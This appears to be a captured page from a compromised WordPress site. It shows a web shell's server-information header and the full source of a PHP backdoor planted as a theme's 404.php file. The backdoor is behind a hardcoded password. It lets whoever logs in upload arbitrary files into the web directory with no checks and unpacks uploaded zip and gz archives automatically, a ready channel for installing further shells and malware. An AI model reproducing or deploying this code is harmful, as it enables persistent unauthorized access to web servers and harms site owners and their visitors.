HEX
Server: Apache
System: Linux web2046c1.megawebservers.com 5.14.0-570.37.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 28 10:41:06 UTC 2025 x86_64
User: absolutespace.ca (53202)
PHP: 7.4.33
Disabled: apache_get_modules,apache_get_version,disk_free_space,phpinfo,exec,shell_exec,passthru,system,proc_nice
Upload Files
File: /services/webpages/a/b/absolutespace.ca/secure/wp-content/themes/catch-kathmandu-pro/404.php
Mot de passe incorrect.
<?php
session_start();
date_default_timezone_set('UTC');
define('AUTH_PASSWORD', '10676'); // change le mot de passe

// Vérification d'authentification
if (!isset($_SESSION['auth'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
        if ($_POST['password'] === AUTH_PASSWORD) {
            $_SESSION['auth'] = true;
            header('Location: '.$_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = "Mot de passe incorrect.";
        }
    }
    echo '<!DOCTYPE html><html><head><title>Login - PHP</title>
    <style>
    body { background: black; color: #33ff33; font-family: monospace; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; }
    form { background: #111; padding: 30px; border: 1px solid #33ff33; width: 300px; }
    input[type=password], input[type=submit] {
        background: black; color: #33ff33; border: 1px solid #33ff33;
        padding: 10px; width: 100%; margin-top: 10px;
    }
    </style></head><body>
    <form method="POST">
        <h2> PHP-FILE</h2>
        <input type="password" name="password" placeholder="Mot de passe" required>
        <input type="submit" value="Entrer">
        '.(isset($error) ? "<p style=\"color:red;\">$error</p>" : "").'
    </form></body></html>';
    exit;
}

// Upload de fichier
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
    $target = basename($_FILES['upload_file']['name']);
    $file_extension = strtolower(pathinfo($target, PATHINFO_EXTENSION));
    
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
        $output = "Fichier uploadé : $target";
        

        if ($file_extension === 'zip') {
            $zip = new ZipArchive();
            if ($zip->open($target) === TRUE) {
                $zip->extractTo('./');
                $zip->close();
                $output .= "<br>Archive ZIP extraite avec succès.";
            } else {
                $output .= "<br>Erreur lors de l'extraction de l'archive ZIP.";
            }
        } elseif ($file_extension === 'gz') {
            // Pour les fichiers .gz 
            $gz_content = file_get_contents($target);
            $original_content = gzdecode($gz_content);
            
            if ($original_content !== false) {
           
                $original_filename = preg_replace('/\.gz$/i', '', $target);
                
                if (file_put_contents($original_filename, $original_content) !== false) {
                    $output .= "<br>Fichier GZ décompressé avec succès : $original_filename";
                } else {
                    $output .= "<br>Erreur lors de l'écriture du fichier décompressé.";
                }
            } else {
                $output .= "<br>Erreur lors de la décompression du fichier GZ.";
            }
        }
    } else {
        $output = "Upload échoué. Vérifiez les permissions.";
    }
}
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP-FILE</title>
<style>
body {
    background: black;
    color: #33ff33;
    font-family: monospace;
    padding: 20px;
    margin: 0;
}
h1 { text-shadow: 0 0 5px #33ff33; }
input, button {
    background: black;
    color: #33ff33;
    border: 1px solid #33ff33;
    padding: 8px;
    margin: 5px;
}
pre {
    background: #111;
    border: 1px solid #33ff33;
    padding: 10px;
    overflow-x: auto;
    white-space: pre-wrap;
}
</style>
</head>
<body>
<h1>PHP-FILE</h1>

<!-- Upload -->
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <input type="submit" value="Uploader">
</form>

<!-- Résultat -->
<?php if (!empty($output)): ?>
    <h3>Résultat :</h3>
    <pre><?= $output ?></pre>
<?php endif; ?>
</body>
</html>